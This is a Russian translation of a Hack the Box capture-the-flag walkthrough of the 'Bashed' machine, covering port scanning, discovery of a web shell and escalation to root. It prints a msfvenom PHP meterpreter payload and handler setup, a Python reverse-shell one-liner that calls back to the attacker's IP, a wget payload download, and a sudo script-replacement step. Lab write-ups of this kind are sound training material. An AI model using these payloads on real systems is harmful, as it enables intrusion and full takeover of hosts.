Сегодня мы будем решать задачу «Bashed», которая проводится в формате CTF-конкурса (capture the flag – захватить флаг).
Автор: Raj Chandel
Привет друзья! Сегодня мы будем решать задачу «Bashed», которая проводится в формате CTF-конкурса (capture the flag – захватить флаг). Эта лабораторная работа создана на платформе Hack the Box. На базе этой онлайн-платформы разработано множество других лабораторных работ, решая которые, вы можете прокачать свои навыки пентестера. Есть задачи и для начинающих и для продвинутых специалистов. Задача Bashed относится к категории «Retired Lab».
Уровень: Средний
Задача: Найти файлы user.txt и root.txt
Начнем!
Поскольку с этими задачами можно работать только онлайн, доступен статический IP-адрес. У лабораторной работы Bashed адрес - 10.10.10.68.
Как обычно, начинаем со сканирования портов.
nmap -A 10.10.10.68
Рисунок 1: Результаты сканирования портов
Поскольку 80-й порт открыт, попробуем ввести этот IP в адресной строке браузера. В результате появилась страница, показанная на рисунке ниже.
Рисунок 2: Результат ввода IP в адресной строке браузера
Затем воспользуемся утилитой dirb из набора в Kali Linux для получения списка директорий. В результате нашлось несколько интересных папок, в том числе /dev.
Рисунок 3: Результаты работы утилиты dirb
Если открыть директорию /dev через браузер, можно найти ссылку на файл phpbash.php. Кликаем на эту ссылку.
Рисунок 4: Содержимое директории /dev
В результате произойдет перенаправление на страницу, показанную на рисунке ниже, которая, похоже, представляет собой веб-шелл.
Теперь вы можете тестировать произвольные команды. Например, попробуем ввести команду ls для просмотра содержимого текущей директории:
Рисунок 5: Содержимое директории dev, полученное через веб-шелл
Внутри директории /html находится папка uploads. Таким образом, мы можем легко скомпрометировать целевую систему, загрузив бэкдор.
Рисунок 6: Содержимое директории html
При помощи утилиты msfvenom мы создали вредоносный файл shell.php, используя следующую команду:
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.28 lport=4444 -f raw
Одновременно запускаем multi/handler для обратного соединения с компьютера жертвы:
Рисунок 7: Создание вредоносного файла shell.php
Для передачи файла мы использовали простейший Python HTTP-сервер. Вы также можете использовать альтернативный метод для передачи и загрузки вредоносного файла через wget в директорию uploads.
Рисунок 8: Загрузка вредоносного файла в директорию uploads
Теперь запускаем вредоносный файл shell.php через браузер, как показано на рисунке ниже, и переключаемся на Metasploit Framework для обратного соединения.
Рисунок 9: Запуск вредоносного файла через браузер
После запуска бэкдора переходим в Metaslploit Framework и ожидаем сессию в meterpreter.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.28
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
На рисунке ниже показана сессия meterpreter session1, которая используется для доступа к tty-шеллу на компьютере жертвы.
Теперь переходим к решению нашей задачи, а конкретно – к получению содержимого файлов user.txt и root.txt. Вначале посмотрим содержимое директории /home.
cd home
ls
Внутри папки home находится директория arrexel, в которой находится файл user.txt. Для просмотра содержимого файла user.txt используем команду cat.
cd arrexel
ls
cat user.txt
Прекрасно! Первая часть задачи решена.
Рисунок 10: Содержимое файла user.txt
Для создания еще одного экземпляра tty-шелла на целевой системе нам нужно импортировать python-файл. Я запустил следующую команду внутри meterpreter-сессии.
shell
python -c 'import pty;pty.spawn("/bin/bash")'
lsb_release -a
Рисунок 11: Создание нового шелла
Запускаем команду ls -al command для просмотра прав доступа всех директорий. Замечаем, что пользователь scriptmanager имеет права для доступа к директории /scripts.
Рисунок 12: Содержимое файловой системы с правами доступа на компьютере жертвы
Если мы попытаемся зайти в директорию /scriptsот имени обычного пользователя, появится сообщение «Permission Denied». Запускаем команду run sudo –l, которая сообщит нам, что у пользователя scriptmanager отсутствует пароль.
Затем запускаем следующие команды от имени пользователя scriptmanager:
sudo -u scriptmanager ls /scripts
sudo -u scriptmanager cat /scripts/test.py
sudo -u scriptmanager cat /scripts/test.txt
Поскольку мы нашли python-файл, нужно заменить оригинальный test.py на вредоносный python-файл для создания обратного соединения через netcat. Для начала нужно сохранить следующий код в текстовом файле:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.28",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Сохраняем файл с расширением .py, загружаем в систему жертвы и запускаем netcat на порту, где происходит прослушивание.
Примечание: Замените адрес 10.10.14.28 внутри кода на ваш VPN IP.
Рисунок 14: Запуск команд от имени пользователя scriptmanager
Теперь загружаем вредоносный файл в директорию /tmp.
wget http://10.10.14.28/root.py
А затем заменяем файл test.py в директории /script на файл root.py с помощью следующей команды:
sudo -u scriptmanager cp /tmp/root.py /scripts/test.py
Через некоторое время появится обратное соединение в терминале, где запущен netcat, с правами суперпользователя. Завершаем задачу просмотром содержимого файла root.txt.
nc -lvp 1234
id
cd /root
ls
cat root.txt
Рисунок 15: Содержимое файла root.txt
Второй метод нахождения файла root.txt
Мы выяснили, что система жертвы работает на базе Ubuntu 16.04. В Гугле находим эксплоит, позволяющий получить права суперпользователя на уровне ядра.
Сохраняем текст эксплоита в файле poc.c.
Рисунок 16: Описание эксплоита
Компилируем файл при помощи следующей команды:
gcc poc.c -o pwn
Запускаем Python HTTP-сервер для передачи файла на целевую систему.
Рисунок 17: Компилирование эксплоита и запуск HTTP-сервера
Наконец, загружаем скомпилированный файл pwn на целевую машину при помощи wget в директорию /dev/shm, устанавливаем права доступа и запускаем эксплоит.
chmod 777 pwn
./pwn
В итоге получаем права суперпользователя и как можно скорее смотрим содержимое файла root.txt, поскольку через некоторое время ядро перестанет работать.
cd /root
cat root.txt
В итоге мы решили задачу еще одним способом.